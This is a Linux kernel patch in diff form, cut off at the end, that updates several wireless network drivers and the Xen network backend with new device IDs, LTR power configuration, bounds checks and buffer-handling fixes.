--- a/drivers/net/wireless/iwlwifi/mvm/d3.c +++ b/drivers/net/wireless/iwlwifi/mvm/d3.c @@ -295,12 +295,12 @@ static void iwl_mvm_wowlan_program_keys(struct ieee80211_hw *hw, u8 *pn = seq.ccmp.pn; ieee80211_get_key_rx_seq(key, i, &seq); - aes_sc->pn = cpu_to_le64((u64)pn[5] | - ((u64)pn[4] << 8) | - ((u64)pn[3] << 16) | - ((u64)pn[2] << 24) | - ((u64)pn[1] << 32) | - ((u64)pn[0] << 40)); + aes_sc[i].pn = cpu_to_le64((u64)pn[5] | + ((u64)pn[4] << 8) | + ((u64)pn[3] << 16) | + ((u64)pn[2] << 24) | + ((u64)pn[1] << 32) | + ((u64)pn[0] << 40)); } data->use_rsc_tsc = true; break; diff --git a/drivers/net/wireless/iwlwifi/mvm/fw-api-power.h b/drivers/net/wireless/iwlwifi/mvm/fw-api-power.h index 81fe45f46be7e..ac38ecf13c181 100644 --- a/drivers/net/wireless/iwlwifi/mvm/fw-api-power.h +++ b/drivers/net/wireless/iwlwifi/mvm/fw-api-power.h @@ -67,7 +67,40 @@ /* Power Management Commands, Responses, Notifications */ /** - * enum iwl_scan_flags - masks for power table command flags + * enum iwl_ltr_config_flags - masks for LTR config command flags + * @LTR_CFG_FLAG_FEATURE_ENABLE: Feature operational status + * @LTR_CFG_FLAG_HW_DIS_ON_SHADOW_REG_ACCESS: allow LTR change on shadow + * memory access + * @LTR_CFG_FLAG_HW_EN_SHRT_WR_THROUGH: allow LTR msg send on ANY LTR + * reg change + * @LTR_CFG_FLAG_HW_DIS_ON_D0_2_D3: allow LTR msg send on transition from + * D0 to D3 + * @LTR_CFG_FLAG_SW_SET_SHORT: fixed static short LTR register + * @LTR_CFG_FLAG_SW_SET_LONG: fixed static short LONG register + * @LTR_CFG_FLAG_DENIE_C10_ON_PD: allow going into C10 on PD + */ +enum iwl_ltr_config_flags { + LTR_CFG_FLAG_FEATURE_ENABLE = BIT(0), + LTR_CFG_FLAG_HW_DIS_ON_SHADOW_REG_ACCESS = BIT(1), + LTR_CFG_FLAG_HW_EN_SHRT_WR_THROUGH = BIT(2), + LTR_CFG_FLAG_HW_DIS_ON_D0_2_D3 = BIT(3), + LTR_CFG_FLAG_SW_SET_SHORT = BIT(4), + LTR_CFG_FLAG_SW_SET_LONG = BIT(5), + LTR_CFG_FLAG_DENIE_C10_ON_PD = BIT(6), +}; + +/** + * struct iwl_ltr_config_cmd - configures the LTR + * @flags: See %enum iwl_ltr_config_flags + */ +struct iwl_ltr_config_cmd { + __le32 flags; + __le32 static_long; + __le32 static_short; +} __packed; + +/** + * enum iwl_power_flags - masks for power table command flags * @POWER_FLAGS_POWER_SAVE_ENA_MSK: '1' Allow to save power by turning off * receiver and transmitter. '0' - does not allow. * @POWER_FLAGS_POWER_MANAGEMENT_ENA_MSK: '0' Driver disables power management, diff --git a/drivers/net/wireless/iwlwifi/mvm/fw-api.h b/drivers/net/wireless/iwlwifi/mvm/fw-api.h index c6384555aab4d..4b6730db42a5e 100644 --- a/drivers/net/wireless/iwlwifi/mvm/fw-api.h +++ b/drivers/net/wireless/iwlwifi/mvm/fw-api.h @@ -138,6 +138,7 @@ enum { /* Power */ POWER_TABLE_CMD = 0x77, + LTR_CONFIG = 0xee, /* Scanning */ SCAN_REQUEST_CMD = 0x80, diff --git a/drivers/net/wireless/iwlwifi/mvm/fw.c b/drivers/net/wireless/iwlwifi/mvm/fw.c index e18c92dd60ecd..d250d451fd015 100644 --- a/drivers/net/wireless/iwlwifi/mvm/fw.c +++ b/drivers/net/wireless/iwlwifi/mvm/fw.c @@ -443,6 +443,15 @@ int iwl_mvm_up(struct iwl_mvm *mvm) if (ret) goto error; + if (mvm->trans->ltr_enabled) { + struct iwl_ltr_config_cmd cmd = { + .flags = cpu_to_le32(LTR_CFG_FLAG_FEATURE_ENABLE), + }; + + WARN_ON(iwl_mvm_send_cmd_pdu(mvm, LTR_CONFIG, 0, + sizeof(cmd), &cmd)); + } + IWL_DEBUG_INFO(mvm, "RT uCode started.\n"); return 0; diff --git a/drivers/net/wireless/iwlwifi/mvm/mac80211.c b/drivers/net/wireless/iwlwifi/mvm/mac80211.c index 88b9c09646964..ec0d32ad7592a 100644 --- a/drivers/net/wireless/iwlwifi/mvm/mac80211.c +++ b/drivers/net/wireless/iwlwifi/mvm/mac80211.c @@ -360,9 +360,6 @@ static void iwl_mvm_cleanup_iterator(void *data, u8 *mac, mvmvif->uploaded = false; mvmvif->ap_sta_id = IWL_MVM_STATION_COUNT; - /* does this make sense at all? */ - mvmvif->color++; - spin_lock_bh(&mvm->time_event_lock); iwl_mvm_te_clear_data(mvm, &mvmvif->time_event_data); spin_unlock_bh(&mvm->time_event_lock); diff --git a/drivers/net/wireless/iwlwifi/mvm/ops.c b/drivers/net/wireless/iwlwifi/mvm/ops.c index 388c8a9149604..649d301cfa2ac 100644 --- a/drivers/net/wireless/iwlwifi/mvm/ops.c +++ b/drivers/net/wireless/iwlwifi/mvm/ops.c @@ -293,6 +293,7 @@ static const char *iwl_mvm_cmd_strings[REPLY_MAX] = { CMD(BT_PROFILE_NOTIFICATION), CMD(BT_CONFIG), CMD(MCAST_FILTER_CMD), + CMD(LTR_CONFIG), }; #undef CMD diff --git a/drivers/net/wireless/iwlwifi/mvm/tx.c b/drivers/net/wireless/iwlwifi/mvm/tx.c index 4ec8385e4307e..3dd0e5bfa0fc8 100644 --- a/drivers/net/wireless/iwlwifi/mvm/tx.c +++ b/drivers/net/wireless/iwlwifi/mvm/tx.c @@ -832,6 +832,11 @@ int iwl_mvm_rx_ba_notif(struct iwl_mvm *mvm, struct iwl_rx_cmd_buffer *rxb, sta_id = ba_notif->sta_id; tid = ba_notif->tid; + if (WARN_ONCE(sta_id >= IWL_MVM_STATION_COUNT || + tid >= IWL_MAX_TID_COUNT, + "sta_id %d tid %d", sta_id, tid)) + return 0; + rcu_read_lock(); sta = rcu_dereference(mvm->fw_id_to_mac_id[sta_id]); diff --git a/drivers/net/wireless/iwlwifi/pcie/drv.c b/drivers/net/wireless/iwlwifi/pcie/drv.c index b53e5c3f403bf..bb020ad3f76cb 100644 --- a/drivers/net/wireless/iwlwifi/pcie/drv.c +++ b/drivers/net/wireless/iwlwifi/pcie/drv.c @@ -269,6 +269,8 @@ static DEFINE_PCI_DEVICE_TABLE(iwl_hw_card_ids) = { {IWL_PCI_DEVICE(0x08B1, 0x4070, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0x4072, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0x4170, iwl7260_2ac_cfg)}, + {IWL_PCI_DEVICE(0x08B1, 0x4C60, iwl7260_2ac_cfg)}, + {IWL_PCI_DEVICE(0x08B1, 0x4C70, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0x4060, iwl7260_2n_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0x406A, iwl7260_2n_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0x4160, iwl7260_2n_cfg)}, @@ -306,6 +308,8 @@ static DEFINE_PCI_DEVICE_TABLE(iwl_hw_card_ids) = { {IWL_PCI_DEVICE(0x08B1, 0xC770, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B1, 0xC760, iwl7260_2n_cfg)}, {IWL_PCI_DEVICE(0x08B2, 0xC270, iwl7260_2ac_cfg)}, + {IWL_PCI_DEVICE(0x08B1, 0xCC70, iwl7260_2ac_cfg)}, + {IWL_PCI_DEVICE(0x08B1, 0xCC60, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B2, 0xC272, iwl7260_2ac_cfg)}, {IWL_PCI_DEVICE(0x08B2, 0xC260, iwl7260_2n_cfg)}, {IWL_PCI_DEVICE(0x08B2, 0xC26A, iwl7260_n_cfg)}, diff --git a/drivers/net/wireless/iwlwifi/pcie/trans.c b/drivers/net/wireless/iwlwifi/pcie/trans.c index ff04135d37afa..6a5eb2b29418d 100644 --- a/drivers/net/wireless/iwlwifi/pcie/trans.c +++ b/drivers/net/wireless/iwlwifi/pcie/trans.c @@ -116,11 +116,13 @@ static void iwl_pcie_set_pwr(struct iwl_trans *trans, bool vaux) /* PCI registers */ #define PCI_CFG_RETRY_TIMEOUT 0x041 +#define PCI_EXP_DEVCTL2_LTR_EN 0x0400 static void iwl_pcie_apm_config(struct iwl_trans *trans) { struct iwl_trans_pcie *trans_pcie = IWL_TRANS_GET_PCIE_TRANS(trans); u16 lctl; + u16 cap; /* * HW bug W/A for instability in PCIe bus L0S->L1 transition. @@ -131,16 +133,17 @@ static void iwl_pcie_apm_config(struct iwl_trans *trans) * power savings, even without L1. */ pcie_capability_read_word(trans_pcie->pci_dev, PCI_EXP_LNKCTL, &lctl); - if (lctl & PCI_EXP_LNKCTL_ASPM_L1) { - /* L1-ASPM enabled; disable(!) L0S */ + if (lctl & PCI_EXP_LNKCTL_ASPM_L1) iwl_set_bit(trans, CSR_GIO_REG, CSR_GIO_REG_VAL_L0S_ENABLED); - dev_info(trans->dev, "L1 Enabled; Disabling L0S\n"); - } else { - /* L1-ASPM disabled; enable(!) L0S */ + else iwl_clear_bit(trans, CSR_GIO_REG, CSR_GIO_REG_VAL_L0S_ENABLED); - dev_info(trans->dev, "L1 Disabled; Enabling L0S\n"); - } trans->pm_support = !(lctl & PCI_EXP_LNKCTL_ASPM_L0S); + + pcie_capability_read_word(trans_pcie->pci_dev, PCI_EXP_DEVCTL2, &cap); + trans->ltr_enabled = cap & PCI_EXP_DEVCTL2_LTR_EN; + dev_info(trans->dev, "L1 %sabled - LTR %sabled\n", + (lctl & PCI_EXP_LNKCTL_ASPM_L1) ? "En" : "Dis", + trans->ltr_enabled ? "En" : "Dis"); } /* diff --git a/drivers/net/wireless/iwlwifi/pcie/tx.c b/drivers/net/wireless/iwlwifi/pcie/tx.c index 48acfc6201914..f05962c324975 100644 --- a/drivers/net/wireless/iwlwifi/pcie/tx.c +++ b/drivers/net/wireless/iwlwifi/pcie/tx.c @@ -720,7 +720,12 @@ void iwl_trans_pcie_tx_reset(struct iwl_trans *trans) iwl_write_direct32(trans, FH_KW_MEM_ADDR_REG, trans_pcie->kw.dma >> 4); - iwl_pcie_tx_start(trans, trans_pcie->scd_base_addr); + /* + * Send 0 as the scd_base_addr since the device may have be reset + * while we were in WoWLAN in which case SCD_SRAM_BASE_ADDR will + * contain garbage. + */ + iwl_pcie_tx_start(trans, 0); } /* diff --git a/drivers/net/wireless/mac80211_hwsim.c b/drivers/net/wireless/mac80211_hwsim.c index cb34c7895f2a2..735c266203870 100644 --- a/drivers/net/wireless/mac80211_hwsim.c +++ b/drivers/net/wireless/mac80211_hwsim.c @@ -1931,6 +1931,7 @@ static int hwsim_tx_info_frame_received_nl(struct sk_buff *skb_2, if (!info->attrs[HWSIM_ATTR_ADDR_TRANSMITTER] || !info->attrs[HWSIM_ATTR_FLAGS] || !info->attrs[HWSIM_ATTR_COOKIE] || + !info->attrs[HWSIM_ATTR_SIGNAL] || !info->attrs[HWSIM_ATTR_TX_INFO]) goto out; diff --git a/drivers/net/wireless/mwifiex/debugfs.c b/drivers/net/wireless/mwifiex/debugfs.c index a5f9875cfd6e3..f84e5d7e8bbec 100644 --- a/drivers/net/wireless/mwifiex/debugfs.c +++ b/drivers/net/wireless/mwifiex/debugfs.c @@ -637,7 +637,7 @@ mwifiex_rdeeprom_read(struct file *file, char __user *ubuf, (struct mwifiex_private *) file->private_data; unsigned long addr = get_zeroed_page(GFP_KERNEL); char *buf = (char *) addr; - int pos = 0, ret = 0, i; + int pos, ret, i; u8 value[MAX_EEPROM_DATA]; if (!buf) @@ -645,7 +645,7 @@ mwifiex_rdeeprom_read(struct file *file, char __user *ubuf, if (saved_offset == -1) { /* No command has been given */ - pos += snprintf(buf, PAGE_SIZE, "0"); + pos = snprintf(buf, PAGE_SIZE, "0"); goto done; } @@ -654,17 +654,17 @@ mwifiex_rdeeprom_read(struct file *file, char __user *ubuf, (u16) saved_bytes, value); if (ret) { ret = -EINVAL; - goto done; + goto out_free; } - pos += snprintf(buf, PAGE_SIZE, "%d %d ", saved_offset, saved_bytes); + pos = snprintf(buf, PAGE_SIZE, "%d %d ", saved_offset, saved_bytes); for (i = 0; i < saved_bytes; i++) - pos += snprintf(buf + strlen(buf), PAGE_SIZE, "%d ", value[i]); - - ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos); + pos += scnprintf(buf + pos, PAGE_SIZE - pos, "%d ", value[i]); done: + ret = simple_read_from_buffer(ubuf, count, ppos, buf, pos); +out_free: free_page(addr); return ret; } diff --git a/drivers/net/wireless/mwifiex/main.c b/drivers/net/wireless/mwifiex/main.c index 904b11f1bc5bf..34960eac57430 100644 --- a/drivers/net/wireless/mwifiex/main.c +++ b/drivers/net/wireless/mwifiex/main.c @@ -501,6 +501,7 @@ mwifiex_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) } tx_info = MWIFIEX_SKB_TXCB(skb); + memset(tx_info, 0, sizeof(*tx_info)); tx_info->bss_num = priv->bss_num; tx_info->bss_type = priv->bss_type; diff --git a/drivers/net/wireless/rt2x00/rt2800.h b/drivers/net/wireless/rt2x00/rt2800.h index a7630d5ec8921..a629313dd98a8 100644 --- a/drivers/net/wireless/rt2x00/rt2800.h +++ b/drivers/net/wireless/rt2x00/rt2800.h @@ -1920,7 +1920,7 @@ struct mac_iveiv_entry { * 2 - drop tx power by 12dBm, * 3 - increase tx power by 6dBm */ -#define BBP1_TX_POWER_CTRL FIELD8(0x07) +#define BBP1_TX_POWER_CTRL FIELD8(0x03) #define BBP1_TX_ANTENNA FIELD8(0x18) /* diff --git a/drivers/net/wireless/rt2x00/rt2800usb.c b/drivers/net/wireless/rt2x00/rt2800usb.c index 9ef0711a5cc11..44b6715ccfb12 100644 --- a/drivers/net/wireless/rt2x00/rt2800usb.c +++ b/drivers/net/wireless/rt2x00/rt2800usb.c @@ -1020,6 +1020,7 @@ static struct usb_device_id rt2800usb_device_table[] = { { USB_DEVICE(0x07d1, 0x3c16) }, { USB_DEVICE(0x07d1, 0x3c17) }, { USB_DEVICE(0x2001, 0x3c1b) }, + { USB_DEVICE(0x2001, 0x3c25) }, /* Draytek */ { USB_DEVICE(0x07fa, 0x7712) }, /* DVICO */ @@ -1091,6 +1092,7 @@ static struct usb_device_id rt2800usb_device_table[] = { /* Ovislink */ { USB_DEVICE(0x1b75, 0x3071) }, { USB_DEVICE(0x1b75, 0x3072) }, + { USB_DEVICE(0x1b75, 0xa200) }, /* Para */ { USB_DEVICE(0x20b8, 0x8888) }, /* Pegatron */ diff --git a/drivers/net/wireless/rt2x00/rt2x00queue.c b/drivers/net/wireless/rt2x00/rt2x00queue.c index 1f17f5b646257..5be4eee63eb85 100644 --- a/drivers/net/wireless/rt2x00/rt2x00queue.c +++ b/drivers/net/wireless/rt2x00/rt2x00queue.c @@ -160,55 +160,29 @@ void rt2x00queue_align_frame(struct sk_buff *skb) skb_trim(skb, frame_length); } -void rt2x00queue_insert_l2pad(struct sk_buff *skb, unsigned int header_length) +/* + * H/W needs L2 padding between the header and the paylod if header size + * is not 4 bytes aligned. + */ +void rt2x00queue_insert_l2pad(struct sk_buff *skb, unsigned int hdr_len) { - unsigned int payload_length = skb->len - header_length; - unsigned int header_align = ALIGN_SIZE(skb, 0); - unsigned int payload_align = ALIGN_SIZE(skb, header_length); - unsigned int l2pad = payload_length ? L2PAD_SIZE(header_length) : 0; + unsigned int l2pad = (skb->len > hdr_len) ? L2PAD_SIZE(hdr_len) : 0; - /* - * Adjust the header alignment if the payload needs to be moved more - * than the header. - */ - if (payload_align > header_align) - header_align += 4; - - /* There is nothing to do if no alignment is needed */ - if (!header_align) + if (!l2pad) return; - /* Reserve the amount of space needed in front of the frame */ - skb_push(skb, header_align); - - /* - * Move the header. - */ - memmove(skb->data, skb->data + header_align, header_length); - - /* Move the payload, if present and if required */ - if (payload_length && payload_align) - memmove(skb->data + header_length + l2pad, - skb->data + header_length + l2pad + payload_align, - payload_length); - - /* Trim the skb to the correct size */ - skb_trim(skb, header_length + l2pad + payload_length); + skb_push(skb, l2pad); + memmove(skb->data, skb->data + l2pad, hdr_len); } -void rt2x00queue_remove_l2pad(struct sk_buff *skb, unsigned int header_length) +void rt2x00queue_remove_l2pad(struct sk_buff *skb, unsigned int hdr_len) { - /* - * L2 padding is only present if the skb contains more than just the - * IEEE 802.11 header. - */ - unsigned int l2pad = (skb->len > header_length) ? - L2PAD_SIZE(header_length) : 0; + unsigned int l2pad = (skb->len > hdr_len) ? L2PAD_SIZE(hdr_len) : 0; if (!l2pad) return; - memmove(skb->data + l2pad, skb->data, header_length); + memmove(skb->data + l2pad, skb->data, hdr_len); skb_pull(skb, l2pad); } diff --git a/drivers/net/wireless/rtlwifi/base.c b/drivers/net/wireless/rtlwifi/base.c index 6fc0853fd7f9d..d066f74f743a9 100644 --- a/drivers/net/wireless/rtlwifi/base.c +++ b/drivers/net/wireless/rtlwifi/base.c @@ -1392,9 +1392,9 @@ void rtl_watchdog_wq_callback(void *data) if (((rtlpriv->link_info.num_rx_inperiod + rtlpriv->link_info.num_tx_inperiod) > 8) || (rtlpriv->link_info.num_rx_inperiod > 2)) - rtlpriv->enter_ps = true; - else rtlpriv->enter_ps = false; + else + rtlpriv->enter_ps = true; /* LeisurePS only work in infra mode. */ schedule_work(&rtlpriv->works.lps_change_work); diff --git a/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c b/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c index 8188dcb512f0a..fa669b52fc915 100644 --- a/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c +++ b/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c @@ -313,9 +313,12 @@ static struct usb_device_id rtl8192c_usb_ids[] = { {RTL_USB_DEVICE(0x07b8, 0x8188, rtl92cu_hal_cfg)}, /*Abocom - Abocom*/ {RTL_USB_DEVICE(0x07b8, 0x8189, rtl92cu_hal_cfg)}, /*Funai - Abocom*/ {RTL_USB_DEVICE(0x0846, 0x9041, rtl92cu_hal_cfg)}, /*NetGear WNA1000M*/ + {RTL_USB_DEVICE(0x0846, 0x9043, rtl92cu_hal_cfg)}, /*NG WNA1000Mv2*/ + {RTL_USB_DEVICE(0x0b05, 0x17ba, rtl92cu_hal_cfg)}, /*ASUS-Edimax*/ {RTL_USB_DEVICE(0x0bda, 0x5088, rtl92cu_hal_cfg)}, /*Thinkware-CC&C*/ {RTL_USB_DEVICE(0x0df6, 0x0052, rtl92cu_hal_cfg)}, /*Sitecom - Edimax*/ {RTL_USB_DEVICE(0x0df6, 0x005c, rtl92cu_hal_cfg)}, /*Sitecom - Edimax*/ + {RTL_USB_DEVICE(0x0df6, 0x0070, rtl92cu_hal_cfg)}, /*Sitecom - 150N */ {RTL_USB_DEVICE(0x0df6, 0x0077, rtl92cu_hal_cfg)}, /*Sitecom-WLA2100V2*/ {RTL_USB_DEVICE(0x0eb0, 0x9071, rtl92cu_hal_cfg)}, /*NO Brand - Etop*/ {RTL_USB_DEVICE(0x4856, 0x0091, rtl92cu_hal_cfg)}, /*NetweeN - Feixun*/ @@ -368,6 +371,7 @@ static struct usb_device_id rtl8192c_usb_ids[] = { {RTL_USB_DEVICE(0x2001, 0x3307, rtl92cu_hal_cfg)}, /*D-Link-Cameo*/ {RTL_USB_DEVICE(0x2001, 0x3309, rtl92cu_hal_cfg)}, /*D-Link-Alpha*/ {RTL_USB_DEVICE(0x2001, 0x330a, rtl92cu_hal_cfg)}, /*D-Link-Alpha*/ + {RTL_USB_DEVICE(0x2001, 0x330d, rtl92cu_hal_cfg)}, /*D-Link DWA-131 */ {RTL_USB_DEVICE(0x2019, 0xab2b, rtl92cu_hal_cfg)}, /*Planex -Abocom*/ {RTL_USB_DEVICE(0x20f4, 0x624d, rtl92cu_hal_cfg)}, /*TRENDNet*/ {RTL_USB_DEVICE(0x2357, 0x0100, rtl92cu_hal_cfg)}, /*TP-Link WN8200ND*/ diff --git a/drivers/net/wireless/rtlwifi/usb.c b/drivers/net/wireless/rtlwifi/usb.c index 57b12a5883a07..3ad79736b2558 100644 --- a/drivers/net/wireless/rtlwifi/usb.c +++ b/drivers/net/wireless/rtlwifi/usb.c @@ -119,7 +119,7 @@ static int _usbctrl_vendorreq_sync_read(struct usb_device *udev, u8 request, do { status = usb_control_msg(udev, pipe, request, reqtype, value, - index, pdata, len, 0); /*max. timeout*/ + index, pdata, len, 1000); if (status < 0) { /* firmware download is checksumed, don't retry */ if ((value >= FW_8192C_START_ADDRESS && diff --git a/drivers/net/wireless/ti/wl18xx/debugfs.c b/drivers/net/wireless/ti/wl18xx/debugfs.c index 7f1669cdea090..779dc2b2ca759 100644 --- a/drivers/net/wireless/ti/wl18xx/debugfs.c +++ b/drivers/net/wireless/ti/wl18xx/debugfs.c @@ -136,7 +136,7 @@ WL18XX_DEBUGFS_FWSTATS_FILE(rx_filter, protection_filter, "%u"); WL18XX_DEBUGFS_FWSTATS_FILE(rx_filter, accum_arp_pend_requests, "%u"); WL18XX_DEBUGFS_FWSTATS_FILE(rx_filter, max_arp_queue_dep, "%u"); -WL18XX_DEBUGFS_FWSTATS_FILE(rx_rate, rx_frames_per_rates, "%u"); +WL18XX_DEBUGFS_FWSTATS_FILE_ARRAY(rx_rate, rx_frames_per_rates, 50); WL18XX_DEBUGFS_FWSTATS_FILE_ARRAY(aggr_size, tx_agg_vs_rate, AGGR_STATS_TX_AGG*AGGR_STATS_TX_RATE); diff --git a/drivers/net/wireless/ti/wlcore/debugfs.h b/drivers/net/wireless/ti/wlcore/debugfs.h index f7381dd69009a..1bce4325e86bb 100644 --- a/drivers/net/wireless/ti/wlcore/debugfs.h +++ b/drivers/net/wireless/ti/wlcore/debugfs.h @@ -26,8 +26,8 @@ #include "wlcore.h" -int wl1271_format_buffer(char __user *userbuf, size_t count, - loff_t *ppos, char *fmt, ...); +__printf(4, 5) int wl1271_format_buffer(char __user *userbuf, size_t count, + loff_t *ppos, char *fmt, ...); int wl1271_debugfs_init(struct wl1271 *wl); void wl1271_debugfs_exit(struct wl1271 *wl); diff --git a/drivers/net/wireless/ti/wlcore/io.h b/drivers/net/wireless/ti/wlcore/io.h index af7d9f9b3b4db..beed58b0c795b 100644 --- a/drivers/net/wireless/ti/wlcore/io.h +++ b/drivers/net/wireless/ti/wlcore/io.h @@ -203,19 +203,23 @@ static inline int __must_check wlcore_write_reg(struct wl1271 *wl, int reg, static inline void wl1271_power_off(struct wl1271 *wl) { - int ret; + int ret = 0; if (!test_bit(WL1271_FLAG_GPIO_POWER, &wl->flags)) return; - ret = wl->if_ops->power(wl->dev, false); + if (wl->if_ops->power) + ret = wl->if_ops->power(wl->dev, false); if (!ret) clear_bit(WL1271_FLAG_GPIO_POWER, &wl->flags); } static inline int wl1271_power_on(struct wl1271 *wl) { - int ret = wl->if_ops->power(wl->dev, true); + int ret = 0; + + if (wl->if_ops->power) + ret = wl->if_ops->power(wl->dev, true); if (ret == 0) set_bit(WL1271_FLAG_GPIO_POWER, &wl->flags); diff --git a/drivers/net/wireless/ti/wlcore/spi.c b/drivers/net/wireless/ti/wlcore/spi.c index e264478326832..bfb57e671034c 100644 --- a/drivers/net/wireless/ti/wlcore/spi.c +++ b/drivers/net/wireless/ti/wlcore/spi.c @@ -72,7 +72,10 @@ */ #define SPI_AGGR_BUFFER_SIZE (4 * PAGE_SIZE) -#define WSPI_MAX_NUM_OF_CHUNKS (SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE) +/* Maximum number of SPI write chunks */ +#define WSPI_MAX_NUM_OF_CHUNKS \ + ((SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE) + 1) + struct wl12xx_spi_glue { struct device *dev; @@ -270,9 +273,10 @@ static int __must_check wl12xx_spi_raw_write(struct device *child, int addr, void *buf, size_t len, bool fixed) { struct wl12xx_spi_glue *glue = dev_get_drvdata(child->parent); - struct spi_transfer t[2 * (WSPI_MAX_NUM_OF_CHUNKS + 1)]; + /* SPI write buffers - 2 for each chunk */ + struct spi_transfer t[2 * WSPI_MAX_NUM_OF_CHUNKS]; struct spi_message m; - u32 commands[WSPI_MAX_NUM_OF_CHUNKS]; + u32 commands[WSPI_MAX_NUM_OF_CHUNKS]; /* 1 command per chunk */ u32 *cmd; u32 chunk_len; int i; diff --git a/drivers/net/xen-netback/common.h b/drivers/net/xen-netback/common.h index f2faa779e3fe2..dd6b7c362813c 100644 --- a/drivers/net/xen-netback/common.h +++ b/drivers/net/xen-netback/common.h @@ -66,6 +66,8 @@ struct xenvif { /* The shared rings and indexes. */ struct xen_netif_tx_back_ring tx; struct xen_netif_rx_back_ring rx; + atomic_t ring_refcnt; + wait_queue_head_t waiting_to_unmap; /* Frontend feature information. */ u8 can_sg:1; @@ -120,6 +122,8 @@ void xenvif_free(struct xenvif *vif); void xenvif_get(struct xenvif *vif); void xenvif_put(struct xenvif *vif); +void xenvif_get_rings(struct xenvif *vif); +void xenvif_put_rings(struct xenvif *vif); int xenvif_xenbus_init(void); diff --git a/drivers/net/xen-netback/interface.c b/drivers/net/xen-netback/interface.c index 540a796593a34..7e3817a55e778 100644 --- a/drivers/net/xen-netback/interface.c +++ b/drivers/net/xen-netback/interface.c @@ -44,12 +44,23 @@ void xenvif_get(struct xenvif *vif) atomic_inc(&vif->refcnt); } +void xenvif_get_rings(struct xenvif *vif) +{ + atomic_inc(&vif->ring_refcnt); +} + void xenvif_put(struct xenvif *vif) { if (atomic_dec_and_test(&vif->refcnt)) wake_up(&vif->waiting_to_free); } +void xenvif_put_rings(struct xenvif *vif) +{ + if (atomic_dec_and_test(&vif->ring_refcnt)) + wake_up(&vif->waiting_to_unmap); +} + int xenvif_schedulable(struct xenvif *vif) { return netif_running(vif->dev) && netif_carrier_ok(vif->dev); @@ -91,6 +102,7 @@ static int xenvif_start_xmit(struct sk_buff *skb, struct net_device *dev) /* Reserve ring slots for the worst-case number of fragments. */ vif->rx_req_cons_peek += xen_netbk_count_skb_slots(vif, skb); xenvif_get(vif); + xenvif_get_rings(vif); if (vif->can_queue && xen_netbk_must_stop_queue(vif)) netif_stop_queue(dev); @@ -271,6 +283,7 @@ struct xenvif *xenvif_alloc(struct device *parent, domid_t domid, vif->dev = dev; INIT_LIST_HEAD(&vif->schedule_list); INIT_LIST_HEAD(&vif->notify_list); + init_waitqueue_head(&vif->waiting_to_unmap); vif->credit_bytes = vif->remaining_credit = ~0UL; vif->credit_usec = 0UL; @@ -365,12 +378,12 @@ void xenvif_disconnect(struct xenvif *vif) if (netif_carrier_ok(vif->dev)) xenvif_carrier_off(vif); + disable_irq(vif->irq); + xen_netbk_unmap_frontend_rings(vif); if (vif->irq) { unbind_from_irqhandler(vif->irq, vif); vif->irq = 0; } - - xen_netbk_unmap_frontend_rings(vif); } void xenvif_free(struct xenvif *vif) diff --git a/drivers/net/xen-netback/netback.c b/drivers/net/xen-netback/netback.c index 70b830f6c4bf3..1595f818b8c01 100644 --- a/drivers/net/xen-netback/netback.c +++ b/drivers/net/xen-netback/netback.c @@ -814,6 +814,7 @@ static void xen_netbk_rx_action(struct xen_netbk *netbk) xenvif_put(vif); npo.meta_cons += sco->meta_slots_used; dev_kfree_skb(skb); + xenvif_put_rings(vif); } list_for_each_entry_safe(vif, tmp, ¬ify, notify_list) { @@ -1864,6 +1865,9 @@ static int xen_netbk_kthread(void *data) void xen_netbk_unmap_frontend_rings(struct xenvif *vif) { + atomic_dec(&vif->ring_refcnt); + wait_event(vif->waiting_to_unmap, atomic_read(&vif->ring_refcnt) == 0); + if (vif->tx.sring) xenbus_unmap_ring_vfree(xenvif_to_xenbus_device(vif), vif->tx.sring); @@ -1882,6 +1886,8 @@ int xen_netbk_map_frontend_rings(struct xenvif *vif, int err = -ENOMEM; + atomic_set(&vif->ring_refcnt, 1); + err = xenbus_map_ring_valloc(xenvif_to_xenbus_device(vif), tx_ring_ref, &addr); if (err) diff --git a/drivers/net/xen-netback/xenbus.c b/drivers/net/xen-netback/xenbus.c index 8a9e8750703f0..e0cf18c6cf118 100644 --- a/drivers/net/xen-netback/xenbus.c +++ b/drivers/net/xen-netback/xenbus.c @@ -33,6 +33,8 @@ struct backend_info { enum xenbus_state frontend_state; struct xenbus_watch hotplug_status_watch; u8 have_hotplug_status_watch:1; + + const char *hotplug_script; }; static int connect_rings(struct backend_info *); @@ -55,6 +57,7 @@ static int netback_remove(struct xenbus_device *dev) xenvif_free(be->vif); be->vif = NULL; } + kfree(be->hotplug_script); kfree(be); dev_set_drvdata(&dev->dev, NULL); return 0; @@ -72,6 +75,7 @@ static int netback_probe(struct xenbus_device *dev, struct xenbus_transaction xbt; int err; int sg; + const char *script; struct backend_info *be = kzalloc(sizeof(struct backend_info), GFP_KERNEL); if (!be) { @@ -132,6 +136,15 @@ static int netback_probe(struct xenbus_device *dev, goto fail; } + script = xenbus_read(XBT_NIL, dev->nodename, "script", NULL); + if (IS_ERR(script)) { + err = PTR_ERR(script); + xenbus_dev_fatal(dev, err, "reading script"); + goto fail; + } + + be->hotplug_script = script; + err = xenbus_switch_state(dev, XenbusStateInitWait); if (err) goto fail; @@ -162,22 +175,14 @@ static int netback_uevent(struct xenbus_device *xdev, struct kobj_uevent_env *env) { struct backend_info *be = dev_get_drvdata(&xdev->dev); - char *val; - val = xenbus_read(XBT_NIL, xdev->nodename, "script", NULL); - if (IS_ERR(val)) { - int err = PTR_ERR(val); - xenbus_dev_fatal(xdev, err, "reading script"); - return err; - } else { - if (add_uevent_var(env, "script=%s", val)) { - kfree(val); - return -ENOMEM; - } - kfree(val); - } + if (!be) + return 0; + + if (add_uevent_var(env, "script=%s", 